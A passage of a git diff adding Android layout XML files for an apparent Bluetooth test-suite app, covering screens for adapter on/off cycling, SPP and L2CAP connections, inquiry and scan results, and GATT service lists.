android:layout_width="match_parent" + android:layout_height="wrap_content" + android:hint="Filter by name or address"/> + + <androidx.recyclerview.widget.RecyclerView + android:id="@+id/recyclerView" + android:layout_width="match_parent" + android:layout_height="match_parent" + tools:listitem="@layout/item_inquiry_result"/> + +</LinearLayout> \ No newline at end of file diff --git a/tools/test_suite/android/app/src/main/res/layout/activity_bredr_l2cap.xml b/tools/test_suite/android/app/src/main/res/layout/activity_bredr_l2cap.xml new file mode 100644 index 0000000000000000000000000000000000000000..4fc861b40581dca6ad706c12875c4edd08bdf2f9 --- /dev/null +++ b/tools/test_suite/android/app/src/main/res/layout/activity_bredr_l2cap.xml @@ -0,0 +1,240 @@ +<?xml version="1.0" encoding="utf-8"?> +<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:app="http://schemas.android.com/apk/res-auto" + xmlns:tools="http://schemas.android.com/tools" + android:id="@+id/bredr_l2cap" + android:layout_width="match_parent" + android:layout_height="match_parent" + tools:context=".bredr.BredrL2capActivity" + tools:layout_editor_absoluteX="0dp" + tools:layout_editor_absoluteY="42dp"> + + <EditText + android:id="@+id/text_service_uuid_1" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginStart="8dp" + android:layout_marginTop="11dp" + android:ems="10" + android:inputType="text" + android:text="0" + android:textSize="12sp" + app:layout_constraintStart_toEndOf="@+id/button_spp_server_register_1" + app:layout_constraintTop_toTopOf="parent" /> + + <Button + android:id="@+id/button_spp_server_register_1" + android:layout_width="100dp" + android:layout_height="40dp" + android:layout_marginStart="8dp" + android:layout_marginTop="8dp" + android:text="Register 1" + android:textAllCaps="false" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toTopOf="parent" /> + + <EditText + android:id="@+id/text_service_uuid_2" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginStart="8dp" + android:layout_marginTop="11dp" + android:ems="10" + android:inputType="text" + android:text="0" + android:textSize="12sp" + app:layout_constraintStart_toEndOf="@+id/button_spp_server_register_2" + app:layout_constraintTop_toBottomOf="@+id/divider" /> + + <Button + android:id="@+id/button_spp_server_register_2" + android:layout_width="100dp" + android:layout_height="40dp" + android:layout_marginStart="8dp" + android:layout_marginTop="8dp" + android:text="Register 2" + android:textAllCaps="false" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/divider" /> + + <Button + android:id="@+id/button_spp_server_unregister_1" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Unregister 1" + android:textAllCaps="false" + android:textSize="12sp" + app:layout_constraintStart_toStartOf="@+id/button_spp_disconnect_1" + app:layout_constraintTop_toBottomOf="@+id/button_spp_disconnect_1" /> + + <Button + android:id="@+id/button_spp_server_unregister_2" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Unregister 2" + android:textAllCaps="false" + android:textSize="12sp" + app:layout_constraintStart_toStartOf="@+id/button_spp_disconnect_2" + app:layout_constraintTop_toBottomOf="@+id/button_spp_disconnect_2" /> + + <View + android:id="@+id/divider" + android:layout_width="411dp" + android:layout_height="1dp" + android:layout_marginTop="16dp" + android:background="?android:attr/listDivider" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/button_spp_server_unregister_1" /> + + <Button + android:id="@+id/button_spp_client_connect_1" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Connect 1" + android:textAllCaps="false" + app:layout_constraintStart_toStartOf="@+id/button_spp_server_register_1" + app:layout_constraintTop_toBottomOf="@+id/text_service_uuid_1" /> + + <Button + android:id="@+id/button_spp_client_connect_2" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Connect 2" + android:textAllCaps="false" + app:layout_constraintStart_toStartOf="@+id/button_spp_server_register_2" + app:layout_constraintTop_toBottomOf="@+id/button_spp_server_register_2" /> + + <Button + android:id="@+id/button_spp_disconnect_2" + android:layout_width="100dp" + android:layout_height="40dp" + android:layout_marginEnd="24dp" + android:text="Disconnect 2" + android:textAllCaps="false" + android:textSize="12sp" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintTop_toBottomOf="@+id/text_service_uuid_2" /> + + <Button + android:id="@+id/button_spp_disconnect_1" + android:layout_width="100dp" + android:layout_height="40dp" + android:layout_marginEnd="24dp" + android:text="Disconnect 1" + android:textAllCaps="false" + android:textSize="12sp" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintTop_toBottomOf="@+id/text_service_uuid_1" /> + + <Button + android:id="@+id/button_spp_send_2" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Send 2" + android:textAllCaps="false" + app:layout_constraintStart_toStartOf="@+id/button_spp_client_connect_2" + app:layout_constraintTop_toBottomOf="@+id/button_spp_client_connect_2" /> + + <Button + android:id="@+id/button_spp_send_1" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Send 1" + android:textAllCaps="false" + app:layout_constraintStart_toStartOf="@+id/button_spp_client_connect_1" + app:layout_constraintTop_toBottomOf="@+id/button_spp_client_connect_1" /> + + <View + android:id="@+id/divider2" + android:layout_width="411dp" + android:layout_height="1dp" + android:layout_marginTop="16dp" + android:background="?android:attr/listDivider" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/button_spp_server_unregister_2" /> + + <EditText + android:id="@+id/text_data_to_send_1" + android:layout_width="0dp" + android:layout_height="wrap_content" + android:layout_marginTop="4dp" + android:ems="10" + android:inputType="text" + android:text="VelaTest:12" + android:textSize="12sp" + app:layout_constraintStart_toStartOf="@+id/text_bd_addr_1" + app:layout_constraintTop_toBottomOf="@+id/text_bd_addr_1" /> + + <EditText + android:id="@+id/text_data_to_send_2" + android:layout_width="0dp" + android:layout_height="wrap_content" + android:layout_marginTop="4dp" + android:ems="10" + android:inputType="text" + android:text="VelaTest:12" + android:textSize="12sp" + app:layout_constraintStart_toStartOf="@+id/text_bd_addr_2" + app:layout_constraintTop_toBottomOf="@+id/text_bd_addr_2" /> + + <EditText + android:id="@+id/text_data_to_display" + android:layout_width="0dp" + android:layout_height="0dp" + android:layout_marginTop="8dp" + android:ems="10" + android:gravity="start|top" + android:inputType="textMultiLine" + android:textSize="12sp" + app:layout_constraintBottom_toBottomOf="parent" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/divider2" /> + + <EditText + android:id="@+id/text_bd_addr_1" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginTop="6dp" + android:ems="10" + android:inputType="text" + android:text="7C:A4:49:11:BD:27" + android:textSize="12sp" + app:layout_constraintStart_toEndOf="@+id/button_spp_client_connect_1" + app:layout_constraintStart_toStartOf="@+id/text_service_uuid_1" + app:layout_constraintTop_toBottomOf="@+id/text_service_uuid_1" /> + + <EditText + android:id="@+id/text_bd_addr_2" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginTop="6dp" + android:ems="10" + android:inputType="text" + android:text="20:3B:34:5A:51:35" + android:textSize="12sp" + app:layout_constraintStart_toEndOf="@+id/button_spp_client_connect_2" + app:layout_constraintStart_toStartOf="@+id/text_service_uuid_2" + app:layout_constraintTop_toBottomOf="@+id/text_service_uuid_2" /> + + <TextView + android:id="@+id/textView2" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginTop="16dp" + android:text="PSM" + app:layout_constraintStart_toEndOf="@+id/text_service_uuid_1" + app:layout_constraintTop_toTopOf="parent" /> + + <TextView + android:id="@+id/textView3" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginTop="18dp" + android:text="PSM" + app:layout_constraintStart_toEndOf="@+id/text_service_uuid_2" + app:layout_constraintTop_toBottomOf="@+id/divider" /> + +</androidx.constraintlayout.widget.ConstraintLayout> \ No newline at end of file diff --git a/tools/test_suite/android/app/src/main/res/layout/activity_main.xml b/tools/test_suite/android/app/src/main/res/layout/activity_main.xml new file mode 100755 index 0000000000000000000000000000000000000000..4ca819ba7874a61b5bb23404a4a17c6c8b1c092e --- /dev/null +++ b/tools/test_suite/android/app/src/main/res/layout/activity_main.xml @@ -0,0 +1,113 @@ +<?xml version="1.0" encoding="utf-8"?> +<ScrollView + xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:app="http://schemas.android.com/apk/res-auto" + xmlns:tools="http://schemas.android.com/tools" + android:id="@+id/main" + android:layout_width="match_parent" + android:layout_height="match_parent" + tools:context=".MainActivity"> + + <androidx.constraintlayout.widget.ConstraintLayout + android:layout_width="match_parent" + android:layout_height="wrap_content"> + + <Button + android:id="@+id/button_on_off" + android:layout_width="0dp" + android:layout_height="wrap_content" + android:layout_marginTop="16dp" + android:onClick="entryOnOffActivity" + android:text="@string/bredr_on_off" + android:textAllCaps="false" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toTopOf="parent" /> + + <Button + android:id="@+id/button_bredr_inquiry" + android:layout_width="0dp" + android:layout_height="wrap_content" + android:layout_marginTop="16dp" + android:onClick="entryBredrInquiryActivity" + android:text="@string/bredr_inquiry" + android:textAllCaps="false" + app:layout_constraintEnd_toEndOf="@+id/button_on_off" + app:layout_constraintStart_toStartOf="@+id/button_on_off" + app:layout_constraintTop_toBottomOf="@+id/button_on_off" /> + + <Button + android:id="@+id/button_bond" + android:layout_width="0dp" + android:layout_height="wrap_content" + android:layout_marginTop="16dp" + android:onClick="entryBondActivity" + android:text="@string/bond" + android:textAllCaps="false" + app:layout_constraintEnd_toEndOf="@+id/button_bredr_inquiry" + app:layout_constraintStart_toStartOf="@+id/button_bredr_inquiry" + app:layout_constraintTop_toBottomOf="@+id/button_bredr_inquiry" /> + + <Button + android:id="@+id/button_spp" + android:layout_width="0dp" + android:layout_height="wrap_content" + android:layout_marginTop="16dp" + android:onClick="entrySppActivity" + android:text="@string/spp" + android:textAllCaps="false" + app:layout_constraintEnd_toEndOf="@+id/button_bond" + app:layout_constraintStart_toStartOf="@+id/button_bond" + app:layout_constraintTop_toBottomOf="@+id/button_bond" /> + + <Button + android:id="@+id/button_bredr_l2cap" + android:layout_width="0dp" + android:layout_height="wrap_content" + android:layout_marginTop="16dp" + android:onClick="entryBredrL2capActivity" + android:text="@string/bredr_l2cap" + android:textAllCaps="false" + app:layout_constraintEnd_toEndOf="@+id/button_spp" + app:layout_constraintStart_toStartOf="@+id/button_spp" + app:layout_constraintTop_toBottomOf="@+id/button_spp" /> + + <Button + android:id="@+id/button_ble_peripheral" + android:layout_width="0dp" + android:layout_height="wrap_content" + android:layout_marginTop="16dp" + android:onClick="entryBlePeripheralActivity" + android:text="@string/ble_peripheral" + android:textAllCaps="false" + app:layout_constraintEnd_toEndOf="@+id/button_bredr_l2cap" + app:layout_constraintStart_toStartOf="@+id/button_bredr_l2cap" + app:layout_constraintTop_toBottomOf="@+id/button_bredr_l2cap" /> + + <Button + android:id="@+id/button_ble_central" + android:layout_width="0dp" + android:layout_height="wrap_content" + android:layout_marginTop="16dp" + android:onClick="entryBleCentralActivity" + android:text="@string/ble_central" + android:textAllCaps="false" + app:layout_constraintEnd_toEndOf="@+id/button_ble_peripheral" + app:layout_constraintStart_toStartOf="@+id/button_ble_peripheral" + app:layout_constraintTop_toBottomOf="@+id/button_ble_peripheral" /> + + <Button + android:id="@+id/button_ble_l2cap" + android:layout_width="0dp" + android:layout_height="wrap_content" + android:layout_marginTop="16dp" + android:onClick="entryBleL2capActivity" + android:text="@string/ble_l2cap" + android:textAllCaps="false" + app:layout_constraintEnd_toEndOf="@+id/button_ble_central" + app:layout_constraintStart_toStartOf="@+id/button_ble_central" + app:layout_constraintTop_toBottomOf="@+id/button_ble_central" /> + + </androidx.constraintlayout.widget.ConstraintLayout> + +</ScrollView> \ No newline at end of file diff --git a/tools/test_suite/android/app/src/main/res/layout/activity_on_off.xml b/tools/test_suite/android/app/src/main/res/layout/activity_on_off.xml new file mode 100644 index 0000000000000000000000000000000000000000..08733047c50b149e059f7712840cb594dbc71371 --- /dev/null +++ b/tools/test_suite/android/app/src/main/res/layout/activity_on_off.xml @@ -0,0 +1,67 @@ +<?xml version="1.0" encoding="utf-8"?> +<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:app="http://schemas.android.com/apk/res-auto" + xmlns:tools="http://schemas.android.com/tools" + android:id="@+id/on_off" + android:layout_width="match_parent" + android:layout_height="match_parent" + tools:context=".LocalAdapter.OnOffActivity"> + + <Button + android:id="@+id/button_enable_bluetooth" + android:layout_width="100dp" + android:layout_height="40dp" + android:layout_marginStart="16dp" + android:layout_marginTop="16dp" + android:text="@string/enable" + android:textAllCaps="false" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toTopOf="parent" /> + + <Button + android:id="@+id/button_disable_bluetooth" + android:layout_width="100dp" + android:layout_height="40dp" + android:layout_marginStart="16dp" + android:layout_marginTop="16dp" + android:text="@string/disable" + android:textAllCaps="false" + app:layout_constraintStart_toEndOf="@+id/button_enable_bluetooth" + app:layout_constraintTop_toTopOf="parent" /> + + <EditText + android:id="@+id/textNumOfCycles" + android:layout_width="89dp" + android:layout_height="41dp" + android:layout_marginStart="18dp" + android:layout_marginTop="16dp" + android:ems="10" + android:inputType="number" + android:textAlignment="center" + app:layout_constraintStart_toEndOf="@+id/button_disable_bluetooth" + app:layout_constraintTop_toTopOf="parent" /> + + <TextView + android:id="@+id/textView" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginStart="8dp" + android:layout_marginTop="29dp" + android:text="cycles" + app:layout_constraintStart_toEndOf="@+id/textNumOfCycles" + app:layout_constraintTop_toTopOf="parent" /> + + <EditText + android:id="@+id/textResultDisplay" + android:layout_width="391dp" + android:layout_height="540dp" + android:layout_marginStart="10dp" + android:layout_marginTop="12dp" + android:ems="10" + android:gravity="start|top" + android:inputType="textMultiLine" + android:textSize="8sp" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/textNumOfCycles" /> + +</androidx.constraintlayout.widget.ConstraintLayout> \ No newline at end of file diff --git a/tools/test_suite/android/app/src/main/res/layout/activity_spp.xml b/tools/test_suite/android/app/src/main/res/layout/activity_spp.xml new file mode 100644 index 0000000000000000000000000000000000000000..8e20043211c4b2af5910b1769bd69e96005f8f35 --- /dev/null +++ b/tools/test_suite/android/app/src/main/res/layout/activity_spp.xml @@ -0,0 +1,268 @@ +<?xml version="1.0" encoding="utf-8"?> +<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:app="http://schemas.android.com/apk/res-auto" + xmlns:tools="http://schemas.android.com/tools" + android:id="@+id/spp" + android:layout_width="match_parent" + android:layout_height="match_parent" + tools:context=".bredr.SppActivity" + tools:layout_editor_absoluteX="0dp" + tools:layout_editor_absoluteY="42dp"> + + <EditText + android:id="@+id/text_service_uuid_1" + android:layout_width="0dp" + android:layout_height="wrap_content" + android:layout_marginStart="8dp" + android:layout_marginTop="11dp" + android:ems="10" + android:inputType="text" + android:text="0000ABCD-0000-1000-8000-00805F9B34FB" + android:textSize="12sp" + app:layout_constraintStart_toEndOf="@+id/button_spp_server_register_1" + app:layout_constraintTop_toTopOf="parent" /> + + <EditText + android:id="@+id/text_service_uuid_2" + android:layout_width="0dp" + android:layout_height="wrap_content" + android:layout_marginStart="8dp" + android:layout_marginTop="11dp" + android:ems="10" + android:inputType="text" + android:text="0000DCBA-0000-1000-8000-00805F9B34FB" + android:textSize="12sp" + app:layout_constraintStart_toEndOf="@+id/button_spp_server_register_2" + app:layout_constraintTop_toBottomOf="@+id/divider" /> + + <Button + android:id="@+id/button_spp_server_register_1" + android:layout_width="100dp" + android:layout_height="40dp" + android:layout_marginStart="8dp" + android:layout_marginTop="8dp" + android:text="Register 1" + android:textAllCaps="false" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toTopOf="parent" /> + + <Button + android:id="@+id/button_spp_server_register_2" + android:layout_width="100dp" + android:layout_height="40dp" + android:layout_marginStart="8dp" + android:layout_marginTop="8dp" + android:text="Register 2" + android:textAllCaps="false" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/divider" /> + + <Button + android:id="@+id/button_spp_server_unregister_1" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Unregister 1" + android:textAllCaps="false" + android:textSize="12sp" + app:layout_constraintStart_toStartOf="@+id/button_spp_disconnect_1" + app:layout_constraintTop_toBottomOf="@+id/button_spp_disconnect_1" /> + + <View + android:id="@+id/divider" + android:layout_width="411dp" + android:layout_height="1dp" + android:layout_marginTop="16dp" + android:background="?android:attr/listDivider" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/button_spp_server_unregister_1" /> + + <Button + android:id="@+id/button_spp_client_connect_1" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Connect 1" + android:textAllCaps="false" + app:layout_constraintStart_toStartOf="@+id/button_spp_server_register_1" + app:layout_constraintTop_toBottomOf="@+id/text_service_uuid_1" /> + + <Button + android:id="@+id/button_spp_client_connect_2" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Connect 2" + android:textAllCaps="false" + app:layout_constraintStart_toStartOf="@+id/button_spp_server_register_2" + app:layout_constraintTop_toBottomOf="@+id/button_spp_server_register_2" /> + + <Button + android:id="@+id/button_spp_disconnect_1" + android:layout_width="100dp" + android:layout_height="40dp" + android:layout_marginTop="2dp" + android:text="Disconnect 1" + android:textAllCaps="false" + android:textSize="12sp" + app:layout_constraintStart_toStartOf="@+id/text_cycles_1" + app:layout_constraintTop_toBottomOf="@+id/text_cycles_1" /> + + <Button + android:id="@+id/button_spp_send_2" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Send 2" + android:textAllCaps="false" + app:layout_constraintStart_toStartOf="@+id/button_spp_client_connect_2" + app:layout_constraintTop_toBottomOf="@+id/button_spp_client_connect_2" /> + + <Button + android:id="@+id/button_spp_send_1" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Send 1" + android:textAllCaps="false" + app:layout_constraintStart_toStartOf="@+id/button_spp_client_connect_1" + app:layout_constraintTop_toBottomOf="@+id/button_spp_client_connect_1" /> + + <View + android:id="@+id/divider2" + android:layout_width="411dp" + android:layout_height="1dp" + android:layout_marginTop="16dp" + android:background="?android:attr/listDivider" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/button_spp_server_unregister_2" /> + + <EditText + android:id="@+id/text_data_to_send_1" + android:layout_width="0dp" + android:layout_height="wrap_content" + android:layout_marginTop="4dp" + android:ems="10" + android:inputType="text" + android:text="VelaTest:12" + android:textSize="12sp" + app:layout_constraintStart_toStartOf="@+id/text_bd_addr_1" + app:layout_constraintTop_toBottomOf="@+id/text_bd_addr_1" /> + + <EditText + android:id="@+id/text_data_to_send_2" + android:layout_width="0dp" + android:layout_height="wrap_content" + android:layout_marginTop="4dp" + android:ems="10" + android:inputType="text" + android:text="VelaTest:12" + android:textSize="12sp" + app:layout_constraintStart_toStartOf="@+id/text_bd_addr_2" + app:layout_constraintTop_toBottomOf="@+id/text_bd_addr_2" /> + + <EditText + android:id="@+id/text_data_to_display" + android:layout_width="0dp" + android:layout_height="0dp" + android:layout_marginTop="8dp" + android:ems="10" + android:gravity="start|top" + android:inputType="textMultiLine" + android:textSize="12sp" + app:layout_constraintBottom_toBottomOf="parent" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintStart_toStartOf="parent" + app:layout_constraintTop_toBottomOf="@+id/divider2" /> + + <EditText + android:id="@+id/text_bd_addr_1" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginTop="6dp" + android:ems="10" + android:inputType="text" + android:text="B0:A3:F2:D4:67:A5" + android:textSize="12sp" + app:layout_constraintStart_toEndOf="@+id/button_spp_client_connect_1" + app:layout_constraintStart_toStartOf="@+id/text_service_uuid_1" + app:layout_constraintTop_toBottomOf="@+id/text_service_uuid_1" /> + + <EditText + android:id="@+id/text_bd_addr_2" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginTop="6dp" + android:ems="10" + android:inputType="text" + android:text="B0:A3:F2:D4:67:A5" + android:textSize="12sp" + app:layout_constraintStart_toEndOf="@+id/button_spp_client_connect_2" + app:layout_constraintStart_toStartOf="@+id/text_service_uuid_2" + app:layout_constraintTop_toBottomOf="@+id/text_service_uuid_2" /> + + <TextView + android:id="@+id/textView6" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginTop="18dp" + android:layout_marginEnd="12dp" + android:text="cycles" + android:textSize="12sp" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintTop_toTopOf="parent" /> + + <TextView + android:id="@+id/textView7" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginTop="18dp" + android:layout_marginEnd="12dp" + android:text="cycles" + android:textSize="12sp" + app:layout_constraintEnd_toEndOf="parent" + app:layout_constraintTop_toBottomOf="@+id/divider" /> + + <EditText + android:id="@+id/text_cycles_1" + android:layout_width="75dp" + android:layout_height="35dp" + android:layout_marginTop="11dp" + android:layout_marginEnd="2dp" + android:ems="10" + android:inputType="text" + android:textSize="12sp" + app:layout_constraintEnd_toStartOf="@+id/textView6" + app:layout_constraintTop_toTopOf="parent" /> + + <EditText + android:id="@+id/text_cycles_2" + android:layout_width="75dp" + android:layout_height="35dp" + android:layout_marginTop="11dp" + android:layout_marginEnd="2dp" + android:ems="10" + android:inputType="text" + android:textSize="12sp" + app:layout_constraintEnd_toStartOf="@+id/textView7" + app:layout_constraintTop_toBottomOf="@+id/divider" /> + + <Button + android:id="@+id/button_spp_disconnect_2" + android:layout_width="100dp" + android:layout_height="40dp" + android:layout_marginTop="3dp" + android:text="Disconnect 2" + android:textAllCaps="false" + android:textSize="12sp" + app:layout_constraintStart_toStartOf="@+id/text_cycles_2" + app:layout_constraintTop_toBottomOf="@+id/text_cycles_2" /> + + <Button + android:id="@+id/button_spp_server_unregister_2" + android:layout_width="100dp" + android:layout_height="40dp" + android:text="Unregister 2" + android:textAllCaps="false" + android:textSize="12sp" + app:layout_constraintStart_toStartOf="@+id/button_spp_disconnect_2" + app:layout_constraintTop_toBottomOf="@+id/button_spp_disconnect_2" /> + +</androidx.constraintlayout.widget.ConstraintLayout> \ No newline at end of file diff --git a/tools/test_suite/android/app/src/main/res/layout/item_gatt_element.xml b/tools/test_suite/android/app/src/main/res/layout/item_gatt_element.xml new file mode 100644 index 0000000000000000000000000000000000000000..4895b025c0a4116c5c353038cc8fcb0ed0e2305a --- /dev/null +++ b/tools/test_suite/android/app/src/main/res/layout/item_gatt_element.xml @@ -0,0 +1,47 @@ +<?xml version="1.0" encoding="utf-8"?> +<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" + android:layout_width="match_parent" + android:layout_height="wrap_content" + android:paddingStart="15dp" + android:padding="10dp" + android:orientation="vertical"> + + <TextView + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:textStyle="bold" + android:textColor="@color/text" + android:text="Characteristic"/> + + <TextView + android:id="@+id/tv_char_uuid" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:textColor="@color/text_gray"/> + + <TextView + android:id="@+id/tv_char_prop" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:textColor="@color/text"/> + + <TextView + android:id="@+id/tv_write_tput" + android:layout_width="85dp" + android:layout_height="25dp" + android:gravity="center" + android:background="@color/black" + android:textColor="@color/white" + android:text="W_TPUT" + android:visibility="gone"/> + + <TextView + android:id="@+id/tv_read_value" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_marginTop="5dp" + android:textColor="@color/text_gray" + android:textStyle="bold" + android:visibility="gone"/> + +</LinearLayout> \ No newline at end of file diff --git a/tools/test_suite/android/app/src/main/res/layout/item_gatt_service.xml b/tools/test_suite/android/app/src/main/res/layout/item_gatt_service.xml new file mode 100755 index 0000000000000000000000000000000000000000..fd4d168dd6076af5dcd16719bece717f2fcb995f --- /dev/null +++ b/tools/test_suite/android/app/src/main/res/layout/item_gatt_service.xml @@ -0,0 +1,35 @@ +<?xml version="1.0" encoding="utf-8"?> +<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" + android:layout_width="match_parent" + android:layout_height="wrap_content" + android:padding="10dp" + android:orientation="vertical"> + + <TextView + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:textStyle="bold" + android:textColor="@color/text" + android:text="Service"/> + + <TextView + android:id="@+id/tv_service_uuid" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:textColor="@color/text_gray" + android:text="0x1800"/> + + <TextView + android:id="@+id/tv_service_type" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:textColor="@color/text" + android:text="Primary Service"/> + + <androidx.recyclerview.widget.RecyclerView + android:id="@+id/recyclerView" + android:layout_width="match_parent" + android:layout_height="match_parent" + android:visibility="gone"/> + +</LinearLayout> \ No newline at end of file diff --git a/tools/test_suite/android/app/src/main/res/layout/item_inquiry_result.xml b/tools/test_suite/android/app/src/main/res/layout/item_inquiry_result.xml new file mode 100755 index 0000000000000000000000000000000000000000..d0f7386b848906520ad478da06a43642ec41420f --- /dev/null +++ b/tools/test_suite/android/app/src/main/res/layout/item_inquiry_result.xml @@ -0,0 +1,69 @@ +<?xml version="1.0" encoding="utf-8"?> +<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" + android:layout_width="match_parent" + android:layout_height="wrap_content" + android:padding="10dp"> + + <TextView android:id="@+id/tv_name" + android:layout_width="match_parent" + android:layout_height="wrap_content" + android:textColor="@color/colorPrimary" + android:textStyle="bold" + android:textSize="20sp"/> + + <TextView android:id="@+id/tv_address" + android:layout_width="match_parent" + android:layout_height="wrap_content" + android:layout_below="@+id/tv_name" + android:textSize="14sp"/> + + <TextView android:id="@+id/tv_rssi" + android:layout_width="match_parent" + android:layout_height="wrap_content" + android:layout_below="@+id/tv_address" + android:textSize="16sp"/> + + <TextView + android:id="@+id/tv_connect" + android:layout_width="85dp" + android:layout_height="25dp" + android:gravity="center" + android:layout_alignParentEnd="true" + android:background="@color/black" + android:textColor="@color/white" + android:text="CONNECT" + android:visibility="gone"/> + + <LinearLayout + android:id="@+id/ll_detail" + android:layout_width="match_parent" + android:layout_height="wrap_content" + android:layout_below="@+id/tv_rssi" + android:padding="10dp" + android:orientation="vertical"> + + <TextView + android:id="@+id/tv_flags" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:visibility="gone"/> + + <TextView + android:id="@+id/tv_local_name" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:visibility="gone"/> + + <TextView + android:id="@+id/tv_uuid" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:visibility="gone"/> + + <TextView + android:id="@+id/tv_raw_data" + android:layout_width="wrap_content" + android:layout_height="wrap_content"/> + </LinearLayout> + +</RelativeLayout> \ No newline at end of file diff --git a/tools/test_suite/android/app/src/main/res/layout/item_scan_result.xml b/tools/test_suite/android/app/src/main/res/layout/item_scan_result.xml new file mode 100755 index 0000000000000000000000000000000000000000..d0f7386b848906520ad478da06a43642ec41420f --- /dev/null +++ b/tools/test_suite/android/app/src/main/res/layout/item_scan_result.xml @@ -0,0 +1,69 @@ +<?xml version="1.0" encoding="utf-8"?> +<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" + android:layout_width="match_parent" + android:layout_height="wrap_content" + android:padding="10dp"> + + <TextView android:id="@+id/tv_name" + android:layout_width="match_parent" + android:layout_height="wrap_content" + android:textColor="@color/colorPrimary" + android:textStyle="bold" + android:textSize="20sp"/> + + <TextView android:id="@+id/tv_address" + android:layout_width="match_parent" + android:layout_height="wrap_content" + android:layout_below="@+id/tv_name" + android:textSize="14sp"/> + + <TextView android:id="@+id/tv_rssi" + android:layout_width="match_parent" + android:layout_height="wrap_content" + android:layout_below="@+id/tv_address" + android:textSize="16sp"/> + + <TextView + android:id="@+id/tv_connect" + android:layout_width="85dp" + android:layout_height="25dp" + android:gravity="center" + android:layout_alignParentEnd="true" + android:background="@color/black" + android:textColor="@color/white" + android:text="CONNECT" + android:visibility="gone"/> + + <LinearLayout + android:id="@+id/ll_detail" + android:layout_width="match_parent" + android:layout_height="wrap_content" + android:layout_below="@+id/tv_rssi" + android:padding="10dp" + android:orientation="vertical"> + + <TextView + android:id="@+id/tv_flags" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:visibility="gone"/> + + <TextView + android:id="@+id/tv_local_name" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:visibility="gone"/> + + <TextView + android:id="@+id/tv_uuid" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:visibility="gone"/> + + <TextView + android:id="@+id/tv_raw_data" + android:layout_width="wrap_content" + android:layout_height="wrap_content"/> + </LinearLayout> + +</RelativeLayout> \ No newline at end of file diff --git a/tools/test_suite/android/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/tools/test_suite/android/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100755 index 0000000000000000000000000000000000000000..67820c56db8c0f98a81aeb4c112c7032b5c22eea --- /dev/null +++ b/tools/test_suite/android/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ +<?xml version="1.0" encoding="utf-8"?> +<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android"> + <background android:drawable="@color/ic_launcher_background"/> + <foreground android:drawable="@mipmap/ic_launcher_foreground"/> +</adaptive-icon> 